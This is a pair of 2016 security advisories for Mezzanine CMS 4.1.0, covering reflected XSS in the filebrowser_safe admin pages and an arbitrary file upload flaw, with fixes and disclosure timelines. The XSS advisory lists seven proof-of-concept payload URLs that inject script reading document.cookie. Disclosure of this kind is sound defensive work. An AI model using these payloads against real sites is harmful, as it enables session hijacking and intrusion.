[+] Credits: hyp3rlinx[+] Website: hyp3rlinx.altervista.org[+] Source: http://hyp3rlinx.altervista.org/advisories/MEZZANINE-CMS-XSS.txtVendor:===================mezzanine.jupo.orgProduct:================Mezzanine 4.1.0Mezzanine is an open source CMS built using the python based Django framework.Vulnerability Type:===================XSSCVE Reference:==============N/AVulnerability Details:=====================XSS entry points exists within the filebrowser_safe package.In many areas throughout filebrowser, querystring parameters are passed directly into templates to form URLS for links and forms,and these were not being escaped correctly, therefore allowing arbitrary JavaScript code to be injected.In order to exploit this, a attacker would need to trick an authenticated administrator into clicking a malicious linkor viewing a malicious web page containing the XSS payload.Resolution:Upgrade right away (pip install -U filebrowser_safe).If for some reason you're unable to upgrade seamlessly, here is the fix which you need to apply:https://github.com/stephenmcd/filebrowser-safe/commit/14b30017d27ca6a952e1578ed8cecbb102979967Exploit code(s):===============XSS 1)http://localhost:8000/admin/media-library/rename/?ot=desc&o=date&filename=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3EXSS 2)http://localhost:8000/admin/media-library/rename/?ot=desc&o=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&filename=XSS 3)http://localhost:8000/admin/media-library/rename/?ot=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&o=&filename=XSS 4)http://localhost:8000/admin/media-library/browse/?ot=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&dir=gallery&o=dateXSS 5)http://localhost:8000/admin/media-library/upload/?ot=desc&dir=gallery&o=%3C%2Fscript%3E%3Cscript%3Ealert%28666%29%3C%2Fscript%3EXSS 6)http://localhost:8000/admin/media-library/upload/?ot=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS\n\nhyp3rlinx%27%29%3C%2Fscript%3E&dir=gallery&o=dateXSS 7)http://localhost:8000/admin/media-library/upload//static/filebrowser/uploadify/?=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3EDisclosure Timeline:=====================================Vendor Notification: January 26, 2016Feburary 2, 2016 : Public DisclosureExploitation Technique:=======================RemoteSeverity Level:================HighDescription:==============================
=========================Request Method(s): [+] GETVulnerable Product: [+] Mezzanine 4.1.0=======================================================[+] DisclaimerPermission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.by hyp3rlinx
[+] Credits: hyp3rlinx[+] Website: hyp3rlinx.altervista.org[+] Source: http://hyp3rlinx.altervista.org/advisories/MEZZANINE-CMS-ARBITRARY-FILE-UPLOAD.txtVendor:===================mezzanine.jupo.orgProduct:================Mezzanine 4.1.0Mezzanine is an open source CMS built using the python based Django framework.Vulnerability Type:=====================Arbitrary File UploadCVE Reference:==============N/AVulnerability Details:=====================Issue is within the`FILEBROWSER_EXTENSIONS` setting. This setting was previously only used client-sideand was not validated server-side, allowing local malicious users ability to bypass file check for uploadsresulting in arbitrary file types like .htaccess, .EXE and .sh being uploaded to the system.Exploit code(s):===============Tested following arbitrary file uploads successfully .htaccess, .sh, .EXE ...[26/Jan/2016 11:39:24] "GET /asset_proxy/?u=/static/filebrowser/uploadify/
uploadify.swf HTTP/1.1" 200 22894[26/Jan/2016 11:39:28] "POST /admin/media-library/check_file/ HTTP/1.1" 200 2Resolution:Upgrade right away (pip install -U filebrowser_safe).If for some reason you're unable to upgrade seamlessly, here is the fix which you need to apply:https://github.com/stephenmcd/filebrowser-safe/commit/14b30017d27ca6a952e1578ed8cecbb102979967Disclosure Timeline:=====================================Vendor Notification: January 26, 2016Feburary 2, 2016 : Public DisclosureExploitation Technique:=======================LocalSeverity Level:================MediumDescription:===================================================Request Method(s): [+] POSTVulnerable Product: [+] Mezzanine 4.1.0====================================================[+] DisclaimerPermission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.by hyp3rlinx